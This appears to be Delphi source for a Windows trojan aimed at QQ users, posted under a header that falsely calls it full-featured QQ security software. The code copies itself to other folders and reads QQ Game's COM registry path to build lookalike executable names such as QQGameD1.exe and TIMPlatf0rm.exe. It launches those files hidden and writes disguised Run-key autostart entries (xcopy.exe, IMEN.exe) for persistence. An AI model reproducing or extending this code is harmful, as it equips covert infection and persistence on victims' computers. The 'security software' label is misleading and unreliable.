thuan.~pas

DEILPHI写的QQ安全软件源码!功能全套,该有的全有了,欢迎交流

unit Thuan;

interface
uses windows,Main,DLL;

  function UpperCase(const S: string): string;
  Procedure  SelfDuplicate(Folder:String);
  procedure Regthuan;
   procedure RunQQ;
   procedure RunREG;
   function GetReleaseFileName(): string;
implementation
  // 返回合适的释放位置
function GetReleaseFileName(): string;
begin
  SetLength(Result, 50);
  GetWindowsDirectory(@Result[1], 50);
  Result := Result[1] + ':\Program Files\Internet Explorer\';
end;


  // 分析出文件名
function ExtractFileName(const FullName: string): string;
var
  P: Integer;
begin
  P := Length(FullName);
  while (P > 0) and (FullName[P] <> '\') and (FullName[P] <> ':') do Dec(P);
  Result := Copy(FullName, P + 1, Length(FullName) - P);
end;
 //复制本自
Procedure SelfDuplicate(Folder:String);
  Begin
    If  Folder[Length(Folder)]<>'\'   then   Folder:=Folder+'\';
    CopyFile(PChar(Paramstr(0)),Pchar(Folder+ExtractFilename(Paramstr(0))),False);   
  End;


function UpperCase(const S: string): string;
var
  Ch: Char;
  L: Integer;
  Source, Dest: PChar;
begin
  L := Length(S);
  SetLength(Result, L);
  Source := Pointer(S);
  Dest := Pointer(Result);
  while L <> 0 do
  begin
    Ch := Source^;
    if (Ch >= 'a') and (Ch <= 'z') then Dec(Ch, 32);
    Dest^ := Ch;
    Inc(Source);
    Inc(Dest);
    Dec(L);
  end;
end;

function replacing(S,source,target:string):string;  //字符串替换
var site,StrLen:integer;
begin
{source在S中出现的位置}
site:=pos(source,s);

{source的长度}
StrLen:=length(source);

{删除source字符串}
delete(s,site,StrLen);

{插入target字符串到S中}
insert(target,s,site);

{返回新串}
replacing:=s;
end;

procedure Regthuan;
var
   hdKey:hkey;

   MiddleServer:array[0..1024] of Char;
   sMiddleServer:string;
  Len:DWORD;
  RegType:DWORD;


    PDQQA:string;
    PDQQB:string;
begin
//   nSize:=256;
 //  GetModuleFileName(0,lpFileName,nSize);
   if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('SOFTWARE\Classes\CLSID\{68353829-557C-4906-875B-117F016CD73A}\InprocServer32'),0,KEY_ALL_ACCESS,hdKey)=ERROR_SUCCESS) then

 //   RegSetValueEx(hdkey,'IPserver',0,REG_EXPAND_SZ,@lpFileName,nSize);    //插入键值IPserver

    if RegQueryValueEx(hdkey,nil,nil,@RegType,@MiddleServer,@Len)=ERROR_SUCCESS then
      begin
     SetLength(sMiddleServer,Len);
     CopyMemory(@sMiddleServer[1],@MiddleServer[0],Len);                               //

     QQlujing:= replacing(sMiddleServer,'CUQG.ocx','QQGameDl.exe');  //L
     anlujing:= replacing(sMiddleServer,'CUQG.ocx','QQGameD1.exe');  //1
       end;

      regclosekey(hdkey);

 end;

 procedure RunQQ;
var
   hdKey:hkey;
   lpFileName:array[0..255] of char;
   MiddleServer:array[0..1024] of Char;
  sMiddleServer:string;
  Len:DWORD;
  RegType:DWORD;
  MiddleServerB:array[0..1024] of Char;
  sMiddleServerB:string;
  LenB:DWORD;
  RegTypeB:DWORD;
    PDQQGame:string;
    PDQQA:string;
     PDQQB:string;
     PDIEA:string;
begin
  PDQQGame:='QQGameDl.exe';
  if POS(UpperCase(PDQQGame),UpperCase(Paramstr(0)))>0 then
    begin
  // nSize:=256;
  // GetModuleFileName(0,lpFileName,nSize);
   if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('SOFTWARE\Classes\CLSID\{68353829-557C-4906-875B-117F016CD73A}\InprocServer32'),0,KEY_ALL_ACCESS,hdKey)=ERROR_SUCCESS) then

 //   RegSetValueEx(hdkey,'IPserver',0,REG_EXPAND_SZ,@lpFileName,nSize);    //插入键值IPserver

    if RegQueryValueEx(hdkey,nil,nil,@RegType,@MiddleServer,@Len)=ERROR_SUCCESS then
      begin
     SetLength(sMiddleServer,Len);
     CopyMemory(@sMiddleServer[1],@MiddleServer[0],Len);                               //
     QQlujing:= replacing(sMiddleServer,'CUQG.ocx','QQGameDl.exe');  //L
     anlujing:= replacing(sMiddleServer,'CUQG.ocx','QQGameD1.exe');  //1
       winexec(pchar(anlujing),SW_HIDE);

     end;
        regclosekey(hdkey);
     end;
 { PDQQA:='TIMPlatform.exe';
  PDQQB:='TXMPlatform.exe';
  if (POS(UpperCase(PDQQA),UpperCase(Paramstr(0)))>0) OR (POS(UpperCase(PDQQB),UpperCase(Paramstr(0)))>0 )then
  begin  }
 //   if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('SOFTWARE\Classes\CLSID\{2D616D8F-F1BA-43A1-BEF0-E2A82A0FBD56}\LocalServer32'),0,KEY_ALL_ACCESS,hdKey)=ERROR_SUCCESS) then

 //   RegSetValueEx(hdkey,'IPserver',0,REG_EXPAND_SZ,@lpFileName,nSize);    //插入键值IPserver

   { if RegQueryValueEx(hdkey,nil,nil,@RegTypeB,@MiddleServerB,@LenB)=ERROR_SUCCESS then
      begin
     SetLength(sMiddleServerB,LenB);
     CopyMemory(@sMiddleServerB[1],@MiddleServerB[0],LenB);                               //

     QQaLU:= replacing(sMiddleServerB,'QQ.exe','TIMPlatform.exe');  //L
     QQcLU:= replacing(sMiddleServerB,'QQ.exe','TXPlatform.exe');  //L
     QQbLU:= replacing(sMiddleServerB,'QQ.exe','TIMPlatf0rm.exe');  //0
      winexec(pchar(QQbLU),SW_HIDE);

     regclosekey(hdkey);
       end;

  end;

   PDIEA:='iedw.exe';
   if POS(UpperCase(PDIEA),UpperCase(Paramstr(0)))>0 then
    begin
    IEB:=GetReleaseFileName+'iedv.exe';
    winexec(pchar(IEB),SW_HIDE);
    end; }
 end;
     //写注册表  用到的函数 为activeX启动准备
function Skrivreg(key:Hkey; subkey,name,value:string):boolean;
var
regkey:hkey;
begin
  result := false;
  RegCreateKey(key,PChar(subkey),regkey);
  if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
    result := true;
  RegCloseKey(regkey);
end;
procedure RunREG;
    begin
    ComDLL_FileNameA := GetDirectory(1)+'xcopy.exe';
     MSdos:=GetDirectory(1)+'MS_dos.pif';
 //  ComDLL_FileNameB := GetDirectory(1)+'dllcache\Dlls.exe';
    ComDLL_FileNameC := GetDirectory(1)+'IMEN.exe';
//   ComDLL_FileNameD := GetDirectory(1)+'Setup\Msmq.exe';
 //  copyee:= GetDirectory(1)+'Ms_dos.pif';
  //  if  (FindWindow('Edit', 'MumaRen') = 0) then
//    begin

       Run;
       ResDLL;
       skrivreg(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run','Windows',ComDLL_FileNameC);
       skrivreg(HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run','Whatever',ComDLL_FileNameA);


 //   end;

    end;

 end.